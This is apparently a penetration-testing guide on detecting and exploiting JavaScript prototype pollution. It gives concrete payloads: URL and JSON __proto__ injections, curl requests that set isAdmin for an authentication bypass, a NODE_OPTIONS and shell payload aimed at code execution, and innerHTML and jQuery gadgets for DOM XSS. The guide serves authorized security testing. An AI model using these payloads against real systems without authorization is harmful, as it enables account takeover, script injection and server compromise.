Detect and exploit JavaScript prototype pollution vulnerabilities on both client-side and server-side applications to achieve XSS, RCE, and authentication bypass through property injection.
Detect and exploit JavaScript prototype pollution vulnerabilities on both client-side and server-side applications to achieve XSS, RCE, and authentication bypass through property injection.
When testing Node.js or JavaScript-heavy web applications
During assessment of APIs accepting deep-merged JSON objects
When testing client-side JavaScript frameworks for DOM XSS via prototype pollution
During code review of object merge/clone/extend operations
When evaluating npm packages for prototype pollution gadgets
How to CONFIRM a Hit (avoid false negatives)
The positive signal is a polluted property surviving on the prototype, then a gadget firing. Client-side: after the payload, ({}).polluted (or Object.prototype.polluted) returns your value in the console. Server-side: a property you injected changes server behaviour you can observe.
Server-side confirmation without source: pollute a property the framework reflects — e.g. {"__proto__":{"status":510}} and watch for an HTTP 510 response, or {"__proto__":{"json spaces":10}} (Express) causing reformatted/whitespaced JSON, or a content-type/charset change. A normal 200 is NOT proof; require an attributable behaviour delta.
Two-stage proof: (1) show pollution lands, (2) show a gadget consumes it (DOM-XSS sink, RCE via template/child_process, or auth flag like isAdmin). Pollution without a reached sink is still a finding but verify stage 1 first.
Do NOT conclude negative until you have tried ALL of these vectors and contexts:
Reset state between probes: a stale polluted prototype from a prior payload can cause false positives — reload/clear before each confirmation.
Prerequisites
Burp Suite with DOM Invader extension for client-side prototype pollution detection
Node.js development environment for server-side testing
Understanding of JavaScript prototype chain and object inheritance
Knowledge of common pollution gadgets (sources, sinks, and exploitable properties)
Prototype Pollution Gadgets Scanner Burp extension for server-side detection
Browser developer console for client-side prototype manipulation
Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
Workflow
Step 1 — Identify Prototype Pollution Sources
// Client-side: Test URL-based sources// Navigate to: http://target.com/page?__proto__[polluted]=true// Or use constructor: http://target.com/page?constructor[prototype][polluted]=true// Check in browser console:console.log(({}).polluted); // If returns "true", pollution confirmed// Common URL-based pollution vectors:// ?__proto__[key]=value// ?__proto__.key=value// ?constructor[prototype][key]=value// ?constructor.prototype.key=value// Hash fragment pollution:// http://target.com/#__proto__[key]=value
Step 2 — Test Server-Side Prototype Pollution
# Test via JSON body with __proto__
curl -X POST http://target.com/api/merge \
-H "Content-Type: application/json" \
-d '{"__proto__": {"isAdmin": true}}'# Test via constructor.prototype
curl -X POST http://target.com/api/update \
-H "Content-Type: application/json" \
-d '{"constructor": {"prototype": {"isAdmin": true}}}'# Test for status code reflection (detection technique)# Pollute status property to detect server-side pollution
curl -X POST http://target.com/api/merge \
-H "Content-Type: application/json" \
-d '{"__proto__": {"status": 510}}'# If response returns 510, server-side pollution confirmed# JSON content type pollution
curl -X POST http://target.com/api/settings \
-H "Content-Type: application/json" \
-d '{"__proto__": {"shell": "/proc/self/exe", "NODE_OPTIONS": "--require /proc/self/environ"}}'
Step 3 — Exploit Client-Side for DOM XSS
// Step 1: Find pollution source (URL parameter, JSON input, postMessage)// Step 2: Find a gadget - a property read from prototype that reaches a sink// Common gadgets for DOM XSS:// innerHTML gadget:// ?__proto__[innerHTML]=<img/src/onerror=alert(1)>// jQuery $.html() gadget:// ?__proto__[html]=<img/src/onerror=alert(1)>// transport URL gadget (common in analytics scripts):// ?__proto__[transport_url]=data:,alert(1)//// Sanitizer bypass via prototype pollution:// ?__proto__[allowedTags]=<script>// ?__proto__[tagName]=IMG// Use DOM Invader (Burp Suite built-in):// 1. Enable DOM Invader in Burp's embedded browser// 2. Enable Prototype Pollution option// 3. Browse application - DOM Invader auto-detects sources// 4. Click "Scan for gadgets" to find exploitable sinks
